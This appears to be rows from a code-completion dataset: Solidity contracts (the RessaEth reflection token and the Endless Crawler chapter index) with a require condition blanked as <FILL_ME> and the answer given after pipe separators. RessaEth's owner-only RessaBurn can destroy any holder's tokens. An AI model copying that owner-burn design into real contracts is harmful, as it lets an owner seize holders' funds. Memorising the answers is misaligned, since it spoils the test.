function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
require(<FILL_ME>)
_nm = _tn;
_s = _ts;
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| _msgSender()==_dW,"Only DAO Can Update the Token" | 71,423 | _msgSender()==_dW |
"Cannot Burn from LP Pairs" | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
require(from != address(0), "Cannot burn from the zero address");
require(<FILL_ME>)
uint256 bfb = balanceOf(from);
uint256 amountfb = amount * (10**_decimalsMul);
require(bfb >= amountfb, "The burn amount exceeds balance");
if (_iE[from]) {
_tOd[from] = _tOd[from] - amountfb;
} else if (!_iE[from]) {
_rOd[from] = _rOd[from] - amountfb;
}
_tTotal = _tTotal - (amountfb);
emit Transfer(from, address(0), amountfb);
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| !lpPs[from],"Cannot Burn from LP Pairs" | 71,423 | !lpPs[from] |
'Invalid ICrawlerGenerator contract' | // SPDX-License-Identifier: MIT
//
// ██████████
// █ █
// █ █
// █ █
// █ █
// █ ░░░░ █
// █ ▓▓▓▓▓▓ █
// █ ████████ █
//
// https://endlesscrawler.io
// @EndlessCrawler
//
/// @title Endless Crawler Chapter Index
/// @author Studio Avante
/// @notice Manages Chapters contracts
/// @dev Depends on ICrawlerToken (chambers)
//
pragma solidity ^0.8.16;
import { Ownable } from '@openzeppelin/contracts/access/Ownable.sol';
import { ERC165Checker } from '@openzeppelin/contracts/utils/introspection/ERC165Checker.sol';
import { ICrawlerIndex } from './ICrawlerIndex.sol';
import { ICrawlerToken } from './ICrawlerToken.sol';
import { ICrawlerChamberGenerator } from './ICrawlerChamberGenerator.sol';
import { ICrawlerGenerator } from './ICrawlerGenerator.sol';
import { ICrawlerMapper } from './ICrawlerMapper.sol';
import { ICrawlerRenderer } from './ICrawlerRenderer.sol';
import { Crawl } from './Crawl.sol';
contract CrawlerIndex is Ownable, ICrawlerIndex {
ICrawlerToken public _tokenContract;
ICrawlerChamberGenerator public _chamberGenerator;
mapping(uint8 => Chapter) private _chapters;
uint8 private _currentChapterNumber;
event ChangedChapter(uint256 indexed chapterNumber);
constructor(address generator_, address mapper_, address renderer_) {
}
//---------------
// Admin
//
/// @notice Admin function
function setTokenContract(address tokenContract_) public onlyOwner {
}
/// @notice Admin function
function setupChapter(uint8 chapterNumber, address generator_, address mapper_, address renderer_) public onlyOwner {
// create or edit a chapter
Chapter storage chapter = _chapters[chapterNumber];
chapter.chapterNumber = chapterNumber;
if(generator_ != address(0)) {
require(<FILL_ME>)
if(chapterNumber == 1) {
_chamberGenerator = ICrawlerChamberGenerator(generator_);
}
chapter.generator = ICrawlerGenerator(generator_); // set new contract
} else if (address(chapter.generator) == address(0) && chapterNumber > 1) {
chapter.generator = _chapters[chapterNumber - 1].generator; // use previous chapter contract
}
if(mapper_ != address(0)) {
require(ERC165Checker.supportsInterface(mapper_, type(ICrawlerMapper).interfaceId), 'Invalid ICrawlerMapper contract');
chapter.mapper = ICrawlerMapper(mapper_); // set new contract
} else if (address(chapter.mapper) == address(0) && chapterNumber > 1) {
chapter.mapper = _chapters[chapterNumber - 1].mapper; // use previous chapter contract
}
if(renderer_ != address(0)) {
require(ERC165Checker.supportsInterface(renderer_, type(ICrawlerRenderer).interfaceId), 'Invalid ICrawlerRenderer contract');
chapter.renderer = ICrawlerRenderer(renderer_); // set new contract
} else if (address(chapter.renderer) == address(0) && chapterNumber > 1) {
chapter.renderer = _chapters[chapterNumber - 1].renderer; // use previous chapter contract
}
_chapters[chapterNumber] = chapter;
}
/// @notice Admin function
function setCurrentChapter(uint8 chapterNumber) public onlyOwner {
}
//---------------
// Public
//
/// @notice Get the current Chapter number
/// @return chapterNumber
function getCurrentChapterNumber() public view override returns (uint8) {
}
/// @notice Get them current Chapter contracts
/// @return chapter Structure containing contract addresses
function getCurrentChapter() public view override returns (Chapter memory) {
}
/// @notice Get a Chapter's contracts
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return chapter Structure containing contract addresses
function getChapter(uint8 chapterNumber) public view override returns (Chapter memory) {
}
/// @notice Get a Chapter's contracts
/// @dev internal version can use storage, cheaper
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return chapter Structure containing contract addresses
function _getChapter(uint8 chapterNumber) internal view returns (Chapter storage) {
}
/// @notice Get the ICrawlerChamberGenerator contract
/// @return generator contract address
function getChamberGenerator() public view override returns (ICrawlerChamberGenerator) {
}
/// @notice Get an ICrawlerGenerator contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return generator contract address
function getGenerator(uint8 chapterNumber) public view override returns (ICrawlerGenerator) {
}
/// @notice Get an ICrawlerMapper contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return mapper contract address
function getMapper(uint8 chapterNumber) public view override returns (ICrawlerMapper) {
}
/// @notice Get an ICrawlerRenderer contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return renderer contract address
function getRenderer(uint8 chapterNumber) public view override returns (ICrawlerRenderer) {
}
//---------------------------------------
// Token / Metadata calls
//
/// @notice Generate and returns everything about a chamber
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @param generateMaps If True, will generate bitmap and tilemap (slower)
/// @return result Crawler.ChamberData struct
function getChamberData(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed, bool generateMaps) public view override returns (Crawl.ChamberData memory result) {
}
/// @notice Returns a Chamber metadata, without maps
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as plain json string
function getChamberMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
/// @notice Returns the seed and tilemap of a Chamber, used for world building
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as plain json string
function getMapMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
/// @notice Returns IERC721Metadata compliant metadata, used by tokenURI()
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as base64 json string
function getTokenMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
}
| ERC165Checker.supportsInterface(generator_,type(ICrawlerGenerator).interfaceId),'Invalid ICrawlerGenerator contract' | 71,432 | ERC165Checker.supportsInterface(generator_,type(ICrawlerGenerator).interfaceId) |
'Invalid ICrawlerMapper contract' | // SPDX-License-Identifier: MIT
//
// ██████████
// █ █
// █ █
// █ █
// █ █
// █ ░░░░ █
// █ ▓▓▓▓▓▓ █
// █ ████████ █
//
// https://endlesscrawler.io
// @EndlessCrawler
//
/// @title Endless Crawler Chapter Index
/// @author Studio Avante
/// @notice Manages Chapters contracts
/// @dev Depends on ICrawlerToken (chambers)
//
pragma solidity ^0.8.16;
import { Ownable } from '@openzeppelin/contracts/access/Ownable.sol';
import { ERC165Checker } from '@openzeppelin/contracts/utils/introspection/ERC165Checker.sol';
import { ICrawlerIndex } from './ICrawlerIndex.sol';
import { ICrawlerToken } from './ICrawlerToken.sol';
import { ICrawlerChamberGenerator } from './ICrawlerChamberGenerator.sol';
import { ICrawlerGenerator } from './ICrawlerGenerator.sol';
import { ICrawlerMapper } from './ICrawlerMapper.sol';
import { ICrawlerRenderer } from './ICrawlerRenderer.sol';
import { Crawl } from './Crawl.sol';
contract CrawlerIndex is Ownable, ICrawlerIndex {
ICrawlerToken public _tokenContract;
ICrawlerChamberGenerator public _chamberGenerator;
mapping(uint8 => Chapter) private _chapters;
uint8 private _currentChapterNumber;
event ChangedChapter(uint256 indexed chapterNumber);
constructor(address generator_, address mapper_, address renderer_) {
}
//---------------
// Admin
//
/// @notice Admin function
function setTokenContract(address tokenContract_) public onlyOwner {
}
/// @notice Admin function
function setupChapter(uint8 chapterNumber, address generator_, address mapper_, address renderer_) public onlyOwner {
// create or edit a chapter
Chapter storage chapter = _chapters[chapterNumber];
chapter.chapterNumber = chapterNumber;
if(generator_ != address(0)) {
require(ERC165Checker.supportsInterface(generator_, type(ICrawlerGenerator).interfaceId), 'Invalid ICrawlerGenerator contract');
if(chapterNumber == 1) {
_chamberGenerator = ICrawlerChamberGenerator(generator_);
}
chapter.generator = ICrawlerGenerator(generator_); // set new contract
} else if (address(chapter.generator) == address(0) && chapterNumber > 1) {
chapter.generator = _chapters[chapterNumber - 1].generator; // use previous chapter contract
}
if(mapper_ != address(0)) {
require(<FILL_ME>)
chapter.mapper = ICrawlerMapper(mapper_); // set new contract
} else if (address(chapter.mapper) == address(0) && chapterNumber > 1) {
chapter.mapper = _chapters[chapterNumber - 1].mapper; // use previous chapter contract
}
if(renderer_ != address(0)) {
require(ERC165Checker.supportsInterface(renderer_, type(ICrawlerRenderer).interfaceId), 'Invalid ICrawlerRenderer contract');
chapter.renderer = ICrawlerRenderer(renderer_); // set new contract
} else if (address(chapter.renderer) == address(0) && chapterNumber > 1) {
chapter.renderer = _chapters[chapterNumber - 1].renderer; // use previous chapter contract
}
_chapters[chapterNumber] = chapter;
}
/// @notice Admin function
function setCurrentChapter(uint8 chapterNumber) public onlyOwner {
}
//---------------
// Public
//
/// @notice Get the current Chapter number
/// @return chapterNumber
function getCurrentChapterNumber() public view override returns (uint8) {
}
/// @notice Get them current Chapter contracts
/// @return chapter Structure containing contract addresses
function getCurrentChapter() public view override returns (Chapter memory) {
}
/// @notice Get a Chapter's contracts
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return chapter Structure containing contract addresses
function getChapter(uint8 chapterNumber) public view override returns (Chapter memory) {
}
/// @notice Get a Chapter's contracts
/// @dev internal version can use storage, cheaper
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return chapter Structure containing contract addresses
function _getChapter(uint8 chapterNumber) internal view returns (Chapter storage) {
}
/// @notice Get the ICrawlerChamberGenerator contract
/// @return generator contract address
function getChamberGenerator() public view override returns (ICrawlerChamberGenerator) {
}
/// @notice Get an ICrawlerGenerator contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return generator contract address
function getGenerator(uint8 chapterNumber) public view override returns (ICrawlerGenerator) {
}
/// @notice Get an ICrawlerMapper contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return mapper contract address
function getMapper(uint8 chapterNumber) public view override returns (ICrawlerMapper) {
}
/// @notice Get an ICrawlerRenderer contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return renderer contract address
function getRenderer(uint8 chapterNumber) public view override returns (ICrawlerRenderer) {
}
//---------------------------------------
// Token / Metadata calls
//
/// @notice Generate and returns everything about a chamber
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @param generateMaps If True, will generate bitmap and tilemap (slower)
/// @return result Crawler.ChamberData struct
function getChamberData(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed, bool generateMaps) public view override returns (Crawl.ChamberData memory result) {
}
/// @notice Returns a Chamber metadata, without maps
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as plain json string
function getChamberMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
/// @notice Returns the seed and tilemap of a Chamber, used for world building
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as plain json string
function getMapMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
/// @notice Returns IERC721Metadata compliant metadata, used by tokenURI()
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as base64 json string
function getTokenMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
}
| ERC165Checker.supportsInterface(mapper_,type(ICrawlerMapper).interfaceId),'Invalid ICrawlerMapper contract' | 71,432 | ERC165Checker.supportsInterface(mapper_,type(ICrawlerMapper).interfaceId) |
'Invalid ICrawlerRenderer contract' | // SPDX-License-Identifier: MIT
//
// ██████████
// █ █
// █ █
// █ █
// █ █
// █ ░░░░ █
// █ ▓▓▓▓▓▓ █
// █ ████████ █
//
// https://endlesscrawler.io
// @EndlessCrawler
//
/// @title Endless Crawler Chapter Index
/// @author Studio Avante
/// @notice Manages Chapters contracts
/// @dev Depends on ICrawlerToken (chambers)
//
pragma solidity ^0.8.16;
import { Ownable } from '@openzeppelin/contracts/access/Ownable.sol';
import { ERC165Checker } from '@openzeppelin/contracts/utils/introspection/ERC165Checker.sol';
import { ICrawlerIndex } from './ICrawlerIndex.sol';
import { ICrawlerToken } from './ICrawlerToken.sol';
import { ICrawlerChamberGenerator } from './ICrawlerChamberGenerator.sol';
import { ICrawlerGenerator } from './ICrawlerGenerator.sol';
import { ICrawlerMapper } from './ICrawlerMapper.sol';
import { ICrawlerRenderer } from './ICrawlerRenderer.sol';
import { Crawl } from './Crawl.sol';
contract CrawlerIndex is Ownable, ICrawlerIndex {
ICrawlerToken public _tokenContract;
ICrawlerChamberGenerator public _chamberGenerator;
mapping(uint8 => Chapter) private _chapters;
uint8 private _currentChapterNumber;
event ChangedChapter(uint256 indexed chapterNumber);
constructor(address generator_, address mapper_, address renderer_) {
}
//---------------
// Admin
//
/// @notice Admin function
function setTokenContract(address tokenContract_) public onlyOwner {
}
/// @notice Admin function
function setupChapter(uint8 chapterNumber, address generator_, address mapper_, address renderer_) public onlyOwner {
// create or edit a chapter
Chapter storage chapter = _chapters[chapterNumber];
chapter.chapterNumber = chapterNumber;
if(generator_ != address(0)) {
require(ERC165Checker.supportsInterface(generator_, type(ICrawlerGenerator).interfaceId), 'Invalid ICrawlerGenerator contract');
if(chapterNumber == 1) {
_chamberGenerator = ICrawlerChamberGenerator(generator_);
}
chapter.generator = ICrawlerGenerator(generator_); // set new contract
} else if (address(chapter.generator) == address(0) && chapterNumber > 1) {
